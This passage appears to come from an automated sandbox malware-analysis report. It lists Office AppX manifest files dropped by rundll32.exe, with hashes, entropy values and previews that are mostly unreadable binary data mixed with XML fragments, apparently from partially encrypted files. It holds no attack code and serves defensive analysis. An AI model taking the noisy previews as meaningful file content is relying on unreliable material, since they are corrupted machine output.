Preview:	^..R.4...=.H..Z..U].0.......?..)..Y$.H..p0.)...fk._Be.w.vSk.C.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.7y..%.K..i....[..RB.\.....M;..}...o.L..{1.z...};_C.,.u.s.D...om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="..k<.&...<.!#.G..X_.\..B.A.Ab..%...a.....1h.Y...q=I$.x.>.1_..._-0015-0000-0000-0000000FF1CE" appv:VersionId="cd725cf9-c73d-411e-995c-c7c0f6ae293a" />.. <Properties>.. <DisplayName>Microso..v!.3....i.=Z!\..[P.0....b.Wz..7..K>..P...w.y...^;A.^..t.r.G..@PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..9N.0...(.h.....CT....C....`.{..H1.._..$m.{...y5BSmO.'. UC.].:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.(3..$...,.rKh?.....1....9..).e...`..w

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0015-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2044
Entropy (8bit):	7.710857499861018
Encrypted:	false
SSDEEP:	48:pOwj6/rLfFOWZVJrWHMDv627Q0cOiK/w7eVdS:8xdn15Dxk0cO2eVdS
MD5:	35187D2F9CA65649B6087D57FDE7C15C
SHA1:	C69591090C9A4F490F9DDD9F1445593D489F13CF
SHA-256:	33EAC06A83E0D05B16DA3C24DC28BBC44BEC7DAF31DFBCD99C0F80B983EB2620
SHA-512:	68C549E4E40F9D8068E2807CF8E11E8DB0599B155C0557B18DDC01B013B370D9BCE7114ACE70A155BC45EC230905421D06B191DDE9C66A67AB2A13526A1AF29A
Malicious:	false
Preview:	"..[rug.Kv..E...t8.Q.Q.....Ki.g .F.... .]......9Q6].dI..Cd...h..GZe.Ob..o...$8..B...]...^=@h .N...m....]....`.i..+T...B...'..O;e.ZiV.<.@.k8.R.C._...Db.`c.F....$.V..B...i...fK...K...d..Rdr..!H.#...o?.@........m.t......$.V..B...i...fK...K...d..Rdr..!H.#...o?.@........m.t......$.V..B...i...fK...K...d..Rdr..!H.#...o?.@...w.MTah.4v.B...=..N.HB...l]$/.gU...H...G.5Gga.\t..,...u0.....S.CY.4\m,.....p....a...o.M..'..O.....9.V.94..(T.<.@.6i......;..-.,.r....9.%......>L0..5..T....h...9a..)..;...>a....=.].Q8Zc.?p._..Z..L..u...i.J..`...._...}.(Drm.O1H.0.4.u).M.Q...`b.,Nz>.C...8.(.^A...i.aA.`J...H...\|..Kgl.XU..\|...H8...:.].MTli.9p.F...n...._G....L.w..lI...C....).G.Xk.E/+.....c=..D.W.R...G2cP"...... ..-.]g...i.a;.vZ...Y...G.GFqw.Xx..e...c7.F.T.R...^6/r.f...7...NC...g.:r.%...EL...H..t]j.X~..t.N.t,....@...,.XZ'4R.Y...n..L......m.p..v..Y.....f..Aqw.'.Y.,.L.c.F.U.1...]m.??.S...r..R.'.....m.k..f\..t'...{..Geq.Yx....}.&y....c...;.Z..5l......

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	802349
Entropy (8bit):	6.334224773533959
Encrypted:	false
SSDEEP:	12288:i2kikTtiUSEW+Ijlo+D/410/xRBHR/WYzp:UikTtfs+H+D/410X/WYzp
MD5:	E7D93FAF0B0720DA737E3370F6C44D98
SHA1:	FB66388BD497451C758466D31C078A0977810494
SHA-256:	CE444BB143FDF36E05F70A09715950CB2577E0DA0134FEB1EE3EE8C2B21E5340
SHA-512:	9AAA77325271840B4C1847BBB43B4B77766487816E3A47718AA1524F53AC3490F4D09C0F1C8F73CE9AB1050CB6DA9FE98E35F9ED8716AFB5715B10166D383BD8
Malicious:	false
Preview:	+.....0.\|T....B..V.1..#.0...+.pM....$...c.....d...q..."sq..lQ.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c......%./.....M..Q...\|b.8...r..=..^..&...e....q.Y.m.. lt....om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".7....6.kV...I..^.3.\|sQ{TI.~..zA.@..4..e........_....k36..;..-0016-0000-0000-0000000FF1CE" appv:VersionId="450a5204-2fe0-46c3-8dbd-106ff646588b" />.. <Properties>.. <DisplayName>Microso......:.x...h..G.<..#.0Zj.h..mS....m...g.....m.Y.&..!fu.o..PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.7... .oZ....B..Y.8.;&[z...>..=.. ..o...Q...`.W.}...r#'..{O.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <......&.nZ...!...G}...*<.1.:."..F..8..

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1842
Entropy (8bit):	7.638866821442065
Encrypted:	false
SSDEEP:	48:Ra4powTWYWvoWmAxrrof7JyxNlYtRASFyXJPZ3AFhQTiFcxES:Rn1WYWvoWmk/Q7JyQASAwg3xES
MD5:	8791A864E98FE1BAA97F21AF45459168
SHA1:	B0426A6B8D41746988CF1A7E01BAA1A4975B9696
SHA-256:	04D32250449567252C8AF887E956C6C09F43919DACEB6376874DC865A549CB5C
SHA-512:	4143C18FE8A0B37FF611760B8B9E4BB14518C29B75BC85BAEEA7BBD8EBAE816EFA5B557A6905F8B4EC254FA36A2BBFE2E5D4CACD014DB5FBEBD88B6C3DA2CB87
Malicious:	false
Preview:	Y..$.L.x...$t@.I...@...7..$F3..\u.g...;^X.Z&4...(...6X...U.....dt7c.~...e^B3....\...k..5Sg..\4.}..i@.E.<z..q.[e..7.....ew?..c..[6..p....E.....(I8...d.,...?XS.Du6...x..W.Z.1......)y"].<.VE4.J!H..._..."..6.7.Q.%..,...?XS.Du6...x..W.Z.1......)y"].<.VE7.J!H..._..."..6.7.Q.%..,...?XS.Du6...x..W.Z.1......)y"].<.VE0.J!H..._...W...yl2.O.}.1.....Kc.u0...}..jc[.7.......;J7^.a...&.q%T...BD..l..t.n..P&.."...X.GQV4...~.^+..n\Y.....6)d..'._Y4..p...K.I........v.Q.b..t...$F UV$a...\|...;..:[B......`-c.. ..M0..pC..Y.V..P...W9.D.`.b...k.I.WB<...x.[{\..........&W4K.p.FE1...O...M...7...O.v..BD.}....Z-X.v9...x..D\.;.......dt;^.v.".wMK!_...IG..z..ya3.B.}.x...M.T.p0...].YdP.......&8na.t.X&aNB2P..UF..f..."Jh.+^4..-...=.(A.P....x.~sJ.,........i86H.p...pTH.....I..f..5Sl.Q.B..r....l.B.t<...v..7...~MS....vh.d.C...AES~R....V....5U..O.f.T..F"I.W)....\|..SsJ.SgO....sj1H.-.lT$..\|t...Y..z.."P7.DC6.<..k.W<a&u..\|..OdZ.-Sb......cj7\.z...aN.M,.[.E..... W%.N...#...

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	496471
Entropy (8bit):	6.420968001100663
Encrypted:	false
SSDEEP:	3072:YkuRTrza8Ubvm9gL5Eh5qHea0UupTG7+uNR0obpa69XXlVD5XVR:CDUbvl1os7Lbk69lVDFVR
MD5:	F5777900BC0DCBC5ECF62E41D552E805
SHA1:	E1C2343F970E1D30686B0A5FAC9A3945965D2CE3
SHA-256:	0416DEAAFB1791541FD6E4B684EE95E3864998EBF69DA93F81A4CD9AA43BFCC4
SHA-512:	4C0608A7A4CA4716D6B311EF2A4A7568E57F4FE7786614C225B8DECB46F9791BF0BB59B38815EC042B3E2E0C2449CB917EF1B87EE78D8FE8739DDCAF729516F7
Malicious:	false
Preview:	O.....4DkR...c..=UxL.....6..T.....n.N.m.].....Y...!........>rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.}...!.8....i..&R.S?......$M.W....g.J.f.CA........h.......2om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".^...2]\|P...R..<]uNv.....fA.....-._.,JVb........<_.O.s.T.a-0018-0000-0000-0000000FF1CE" appv:VersionId="08d77957-af3f-4fbd-aa84-18f7ff89b692" />.. <Properties>.. <DisplayName>Microso.d...>Lo....+;.<DvA2....]W........\|.[..U.B........S....3...~PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription.^@..$Lx\.J.k..ZnE9....'..f......n.[/9O.@.........]._.y...':AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <.bJ.."Fy\.[.:r.o.:.w.....2..N...... .

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.649594146925916
Encrypted:	false
SSDEEP:	48:fpuY3+SPsv2y69+4pEXfQHjKi3sAGQzo+z4XTDS:oYOqsv2tI4pCo5dGWtUTDS
MD5:	C4933D565A9B44708C7BCA7AA8AE58A8
SHA1:	E8605D26F771FB32B6C6C5BB65259CE908DBCD43
SHA-256:	BB7315713B3A642B78A1E150BDA683A8A287595543236FD0B4692B695BE12393
SHA-512:	8C0B3B9624B69408FEEE39E904D9B2EABA7D0F4FDB35E65313EA3A96A41EE8E1DEE437842F4A8A3A1C81B32AD0625124A0FA22075BB0E7DF2BF27DA5D70BB214
Malicious:	false
Preview:	.'...../..FX^^l^..=...\...1LTg..z..2..........Z..?x..x.-.&,KqhP l...:..)..S.t\q.G./.d..A.1]A3..z../.].....E.....!G.;.b.?9.W\|Q)j...2..4...J'.2...1..0N.CA9@[l..9..4.........X..$(Q.7./.9).^{.,q.J./..k..H8Tc_..:.w..../^.c....s.........X..$(Q.7./.9).^{.,q.J./..k..K8Tc_..:.w..../^.c....p.........X..$(Q.7./.9).^{.,q.J./..k..L8Tc_..:.w..kAa.~f.,..;.}.....c.^..,-......?).]}.m].X.:..6..GZ7ogC..0..w..OQo..:..v..s......G..Z..(.G.>.n.fkG.?..3.U.g..p..H'.2.U.o..e..'P.h.".(....A.....U..]..-{..l.~.ni\.i.{3...f..!.B.r.1...}..k0.AA}}Em...'.........R..%([.;.)..3.J`M x.E.9..'...M+.FX..3...\.._L'."..d.. .Z.....X.W...(O.d.).3(.]k.`N...6..!..J.gUcH+.2..X7.AAa.sg....6.\.....T.^..f.G.9.%."3.V13E>.E.c..#..q.d\pG..q..0Z.N-.JX<..x..b.R.....A.k.."(E...?.$3.LfQ! ...;..'..S.~Vl...+.0Y.N.1]A8.(..#.X.....B.R.. &L.W.l.vzMY.N9$.........@=oM<E..:..4M..[.]GT.....!.K........k..9,P.3.?.[PQ.3lm...<..z..X7.>c..0.6X.-./JBc.e..,.F....<.....,Q././.%d\|2/.sN...:..-..W.d..;E.....n....HEq.6..l...

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0019-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	254926
Entropy (8bit):	6.303210552281016
Encrypted:	false
SSDEEP:	3072:9F2GBZJ6lW0V0Ntp+ITh1UW6KzWnLXDWtUiX0HYGthgJx:9oGLIvV0NtpNh1Ut2ADm04Gthm
MD5:	39E1CC69A5872F07A9021AD653F48EBF
SHA1:	66168CDF2D32D024B30F049CD7B6F93E6B728C7B
SHA-256:	E3389D15A3B1999EB1E904AAFC2DBBAD878C2EE9EB117BBA0B73E257D95F6637
SHA-512:	3A4671C7CCA3E39B1A943CD247CA4E7B324E6B62F28C0C67D5171BD815BB61191BBB5A90BD468AF4C39628055EE968CE4FC660C7A4020A454113734A8653A124
Malicious:	false
Preview:	.y..)~{.U........fNoL.E.N.m.7..e.....a.l.55t2pqs.........c8>.{.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..-..8k?.........aQ~ .P.Q...3.T1.S...h.h.>4jarif..^.....fm..;.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="5.?..;xb.W.......kL7 .....=.j..i.M...".}.tm.Bpbh..H...C..$4GU%.-0019-0000-0000-0000000FF1CE" appv:VersionId="2d65b2ab-6fa1-4936-b591-4840e9d67c2a" />.. <Properties>.. <DisplayName>Microso.."...ts..........hCsL.E.....r..{....Rs.y.@r6b}`z;.@....gt..).PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionH.m..-ns.[.].....pGxg...\.\|.h.T7.-..Pa.y.ah&`xqw..C...A..5>..e.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <&.g..9hy.[.L...Z.$.6M.e.S.i.!.K).K.../.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-0019-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.663026370754581
Encrypted:	false
SSDEEP:	24:aVuj+2+AWddh3vWdhK0oEShsfImYpnKPxK10kxSi5ewXGKeF4hZH431JSeE9qsKp:CHg21e+pKEBxhXGKeFoHw1W9qsjnBM4S
MD5:	4D55B2634992F21E42205B2904AD86B8
SHA1:	2E5526A0889D8C9E28124A5935AAD4109C5C17B6
SHA-256:	2926451B479621BD6A6D5AB94477526854B33DFF641E839193BB0640A4353673
SHA-512:	173293F5F19460496ED8EFC279D63EBA01007A32096A4F20A3DB815995F7A785097F6BB455E6EC15C94E6B43374121FAF786385CFFF4662D82DCE63CC2DAAA43
Malicious:	false
Preview:	.'..W...R...o....l8au.o{.xi.i.uA.VV.h..rfM{...].$.....+..Dyx.F.x...G.r.....w=0.oj.,4.i.}\..D.:..('W5J....{i....c..M.7.E.........1...Gx2.gw.si..uG.T_.l..sx.y.....8e....~...Hdt.K.F........`.....yt}.qi.\|j@=.+..T_.l..sx.y.....8e....~...Hdt.K.F........`.....yt}.qi.\|j@=.+..T_.l..sx.y.....8e....~...Hdt.K.F........`.....g...?&.y.^?.qH.8V.}...2.......6X....y....HW.x.E...S...d......h:>.1+.%(.e.5..F..y..m={....._l....'...&)...........1.....iJV.\_.={@;.?g..D.w..8jO\|RX... ?....<...O&!...........1......T.0.#J.rjU9.lT.H:.8.\|k)s.....Xi....r..Dmm.e.P.......E....l8au....=:.w.pS..D.}..5$.v.....s6...g....[l.F.E...^...`...../S,0.?&.xiS9.uE..Y.J..9%...P.(.ek....~...!+9...z...e.s.....G>0?.p}.#.:k.%...G.n..,';J.....sL....a..E5W...S...G...o...G=0?.oj.'[@;.UP..V.}../4.s.....(.....-..]1X.Z.....T..?......C)\|f.^j.KS^..jR..C...\|kBJ.....ba...1.Nxv.X.S.......=....A<,\.q}.\|}Uv.`_..D.8.Q]M:YC...y}.......[k.X.G...C........m.Ay.I..ns_%.3..J..

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001A-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1135696
Entropy (8bit):	6.33527990713205
Encrypted:	false
SSDEEP:	6144:ADNJKmsJWCp0t+I+Q1LSQOrhcc1utx+tYzUfXPHu5:oNJbsPdQ1LSQOric1u4tYz4v6
MD5:	3FF6EC133D48FE8EDC73AEFD6FB26BF6
SHA1:	11937B572BECA516EC7C97B84BBC6F2277391A4F
SHA-256:	2E5C8BEB22745991EBEF0CAF66539C3BD2E40DE83A560E256D091486D14304B8
SHA-512:	D2F11DFF99464D5B0B614C862E2877312E637A68D00E79E7BD21CCB06E6C45B460ADC918CD1415F8C71A31DEB7111DEF356DE341932B5292E9F9B2130FDEAF40
Malicious:	false
Preview:	.!.@...vs.....X.-t..j..W.@,cM..T...:W......z.!M...L....rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.cw.V.`...%$....Y.s....._.^>:I..G....>S.....aY\|QZ..I..9..om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="[.D.u...aq...(.E.%y...T...\|6.........jF.....m_j6S......}.Z-001A-0000-0000-0000000FF1CE" appv:VersionId="1dd72097-ead8-4554-9d92-bfb1953b6b77" />.. <Properties>.. <DisplayName>Microso~.Y.v...r4..Q.^.<z..j..W.=G ....e..."B.....BYb......H..).EPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription&...t...e}......"b..A.^..@=v...Ac...-B.....eWaA:.......=..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <H...u...d}..@.=.l6..k./[.f(r[.._......

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001A-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19892
Entropy (8bit):	6.4139029009672885
Encrypted:	false
SSDEEP:	384:oA7sWfNiv1zM29HXDgy0Eg3/EirS37Skr6uAYt4SJF:o009ZkqSsPJ
MD5:	1631224CB97BEEF814CB6C22CF416B6F
SHA1:	329770BA91AE0BB176D6CDB71C3AC881970B927F
SHA-256:	C120FBA8D46154659739F9BEDB66EB1682B82860B9B955EF134A45BB5139A65A
SHA-512:	CCB3483814158E76FDF66E36C5F3C93DD98251FFAFD95518D63C02092823F4011DEE69EBB2D13B544B0756AD1DDCA204CB04515054759B83F9067E0FE3B84516
Malicious:	false
Preview:	.r.c.>..jP..6Sds1y..D]S.M...59V..<..oQ(.O"..2........U..eiQ..rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c7..>..+.T=...9R.t6f...H[._...xm.Q^w..kU..N<..*..B...W..0FBI.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".....8..hQ..=Ne{<{..........P?5.O^y..?@.P.)..!..Tr..[...i..W.-001A-0409-0000-0000000FF1CE" appv:VersionId="66dc8756-3862-45a6-8777-c946c25fcb55" />.. <Properties>.. <DisplayName>Microso>....4..-.....Ueb?t..D]S..&..B('g..&.wD,d.`..#..\^...V..)ER[.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionf.^.....dE...6.s\|'p..A...\..#xka/.).xD.E.p..2.._...Y...cAF..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..T-.(..dA...U662s5.v}_..I..gu.IAx..P

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0000-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	769144
Entropy (8bit):	6.21168330619686
Encrypted:	false
SSDEEP:	1536:YHc2i1XBZAB3kF0X9qTFXNEJe0REUQf9uSvnHUEBAnD02+mq5bdAYTf1HYC8ffUU:YHLLrMp+j2uwPbnLEgWmoybKcRHFDfI3
MD5:	719A255AA1D72B4A49B60E4832ADA74F
SHA1:	D64D4A5E69A2002FFF20F17C8251D909DC7E068A
SHA-256:	8C517A98A320B00070BCF87A934C17E9D701019366A6EC29A31164D4B47C450D
SHA-512:	685874EE8283FCF9E769D2379981E082F95FB7EE4D8CE8C76D2CE8261DD764583E3A20972448C093E90B5731659857C616F57019D81A858CA0FF0356050E5A82
Malicious:	false
Preview:	....M.V....Tr#Mj?8.i.-8A.].1..o[z..w7e.?8...5?.+....jVt5BA.."rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..i]m.C.....2x,Lq8?.x.l-I.C.h.."....u>a.93...-.{O.X.hTk0.n.B.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="*0{nx.P....=C(Pk75.1.}c...RdS.eW)...gt5.9yN...&$.}Y.Q.).4rN8.\}-001B-0000-0000-0000000FF1CE" appv:VersionId="5b736f3e-8ace-4719-be4b-373f3d2efc01" />.. <Properties>.. <DisplayName>Microso..fs{.\....!:.Kk.6.u.-8A. irK.rEK..>%}.;MQ..$6.{Q...nUa1.m.PbPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionW0).y.F.....tz#.}0..~.(i..].$Q.".M..<7r..lK..5;.uR.8.+.$cDi..;:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <9.#Nx.@.....n+@(8~z.0...M.{. ..=.%...kyZ

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.658232271398921
Encrypted:	false
SSDEEP:	24:FLQxxt82I4PJv2HQ3Jopd2EWv81I40w3g3gOHEG8zhZil+7KHIuToS:xQyL4Br3JoSu1I4bygCEc3ouToS
MD5:	4AD199E174ED5AB42D85EC57B047C9A5
SHA1:	0B3880F4AD3EC728AE094DA9ECF0FE6DE59143E6
SHA-256:	3B49F930822050F51B295FE7EF1AB1F1531CEE52648448339C26E51FDA414C98
SHA-512:	56070AAC72AFB5FC1B2C1F7A21EF05D7AAE24AECF2C34681D008F1CB9C6DDF45325AB0A50831465C6B9D27340D6BFD4CCC6566B1D443A93B37B29A0BFF6DFAC9
Malicious:	false
Preview:	...].C.4.u7..u...{S.C....oEw.Z..7..j....YT.I.h..!.)OU.."...z.E.7..l..0.`v..'...g@..D..z..Z...[x.....4..k..j.j....7\>.{.CF6.....%.?%..5...~P.Q....`Nw....1..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!'...t...dB......6At...v..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!$...t...dB......6At...u..c....XJ}K.}..\|.f.W..'A7.:.X.z..R..gN!#...t...dB..x...EDa....>.{j....%.}M.n..-.[.V..'F4.).t&h3.Q.#.t5...h...y...C...:.6.V.v..)..._^I.s..j.oR...e.a.$..XeP....eG='..7.J.'...3......e......Gx....X,J.*..i.:BR..b.e.$...7Q....7.q'...".I.7../....~Ot...."......WYJA.h..v.j.Q..=M#.g.Q.u..D.0^!"...s...vO.C....,.$.D..%.\x.....~D.a..b.5=Q..&X4.(.g.7..Q.':yd..c...r..(U...HEw....3.Ze....xM.$.j.h.]..=A?....HuA.n.:@Br..l...}F.EI..c...X..g.T{......Xx.{..h.O.G..=^%.{..&:A.G.'.`c..:...rD.FI..z.E....&.^j.....\|A.l..a..e...t.0.d..)%..k.'.sR..n...+..R.....\|vM.(..$.M.....WY!x.w..}.b.G..^.q.F.D. ..G..Xt07..H...bD.GU...yAc.E..).@x...zo...7..\|.~.W..j#[.4.g.0..S.&.dr....Z.7..q8...~Sm...i..$.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.7264965138341895
Encrypted:	false
SSDEEP:	48:q59BkpxHfs5V/z47Jc3evAo7tANQz8Rob9acBS:37U5147Jievh6i8RI9tS
MD5:	30E7B05958131D9E8D9CFC3A86CDA852
SHA1:	5E32B9B72A92669D33610F69A2D1040E4F2CC56B
SHA-256:	03DFF34DDFB02B6C8CE5AE1C30245527E101406ECF9273F3AAB69393A3A63CF8
SHA-512:	DD26F115608A8D57C82DC2FC9AA0A72C9C200677B41A5AE822BC2AD96FCE442FAABDF2BDABB0EE2AA1D7C901E764F54C0689DEDA5E06266D1BA1BB64DD566A40
Malicious:	false
Preview:	}d.aF.A..#.20rb...a.6..L.~G....z.T.x,.1...,.._.2[.9+&.t.$.Yk....Ti.E..b00- 2....j.L.k....r.N.ja[/D..6...J.y..jd;.a...Xb...\..P.1cdn2}...J./..D.qL....z...q(.7......D.oG.p)$.q....g....AW.....3\|8?sy....#..R.'C...$...q(.7......D.oG.p)$.q....g....AW.....0\|8?sy....#..R.'C...$...q(.7......D.oG.p)$.q....g....AW.....7\|8?sy....V....TF...~...x1.z......L.>I.l(:.q....&....TT.V..!s.;oc.....m....+...:...;\|.7@..\..H.y .$ho.3.]..4...w......3cen0 ..........?....0.G.j5.)y......J.)\.4,c.5.Y..0....T.....`148{#.....Q....oM...c.Q..VYg...H..E.e'.t/h.k...Dk....WA.E..6oz.tc..a.6..1.=.......N.j4.5t..\|..g.q..K/%.p....+....XT.R..p#9?d^...".{....YG...z.K.wb+"C..z....y..k#&.k...:......k.O..f 0,ku....J.g.S.r...*...i,.}q..Z..B.{..\|95.k...Xj..UB.R..w::0=u...J.g.L.k....Z.A.x;..U..~..@.rW..jv."...Gr....gn.R..F+!`ib...N.+..}.mt...e.g.mbtM...#..Y.n..\|9h...M.ea....RB..-..#subOu..L.{..R.hC...o...j~Yh...,...{.o..k)3.<.g..8....TV.S..f kS.0...`....j.oQ...<...6.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-040C-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	7.76971905954706
Encrypted:	false
SSDEEP:	48:I/+md8dEwpSMh+4ROnDdzTy0X55ScRwupYWJ36Qj9B7ge2cGflrS:BCw3+kopBJ5ScRwuHJ3pTgey5S
MD5:	B853335F9103EBF1CEC8069976AB4E7E
SHA1:	A0A37E237A113AE165B2CBB51351C4D20184099E
SHA-256:	6AD8290476CF143A8C5A175B1D88E6CCA481A1ED7D7C42AA71039A667DD8DCA9
SHA-512:	5CE97D53AFBFDBB250727FD7DA532166F1089108DA1CA2D539DD69014A6809A4C5E7C5F94CFFECF63406E2739F10B2CFB42A5C3AAEF4E388949A742B2867DB71
Malicious:	false
Preview:	4.......S#...q@/.@..!..:.s3.4..T..r.6l5z...2$..#...E.MF.r....QG..-..W7..,s]}.@8...nO.(.fg.;.\..`.drp ..Jm'..h.....TSQT.....F..L..B<A..'.o.@&..3..i.\|8.3..T...{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...`..%..7.y......{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...`..%..7.y......{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...~s.i..Y2.g..P..r.#'&..X.0"../..F.TCK^.C.~......D!..o@K2.H'...qH.y..&n.>.....1.'jt".{.!?..h..........N......N...C..&.m..xM..p8.x.2v.y....`.)tM0..\q7..<......U...O......N..S&..\| .#..j]..Mt.i..b9.l..M....f:$t.o.1$..t...A.pY@I....D......Wd_.s9j).Q$..!..w..0v.)..Q..`.#h@=.[.#- .`..A.XBU^.B..EG.....@...?zO9.@%...J^.i..T3.j..T..}...w1.].&hA.h...M.IYLU.s....../..]z<.<s\6.Ef..'B.....h......c.0 E$.}5#7..j...W.OYSO....~J.....@-..&y@`.O<..$B.(.fl.y..t..r.#^a'.Y.2 ..c........Z....qU..*..@+..7b.4.T-A..0..s.`..g..K..g.K.$t..50;......W.0:...,.._P.....?NN.o6...R'..%^.(..e7.l..A..`.f5:Y..E~{<.~...G.N..1.^.B@.....A-..<(#J..h]...3.'.b%.f......<.

C:\Program Files (x86)\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0C0A-0000-0000000FF1CE.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	7.768705994095231
Encrypted:	false
SSDEEP:	48:ZLi6PcxMHNX/9L29I8CBgy9ekn1GnTo2enQ6iJ1Gn/9djOgozoFtMgUS:bPcxMHV/9L29TVyIkYT9eQ6j//OgokFv
MD5:	7E6AA2E91509EA1DD181E109DBA424D5
SHA1:	EADA569D6C02C0D241D07FBCDBB1F4D80F40ED5A
SHA-256:	7F57649330FFB32AE0A32BAEB1B31121F2A38798203D7E81B955A115872E2A23
SHA-512:	7A633E7A04EEE544BE0BA8CA6850C197A4643EF1AE85A8D54467328619EA78C36FEB015023F781ED015192DCA251D7C80D1D72C1378527654AC0AAF7963AE375
Malicious:	false
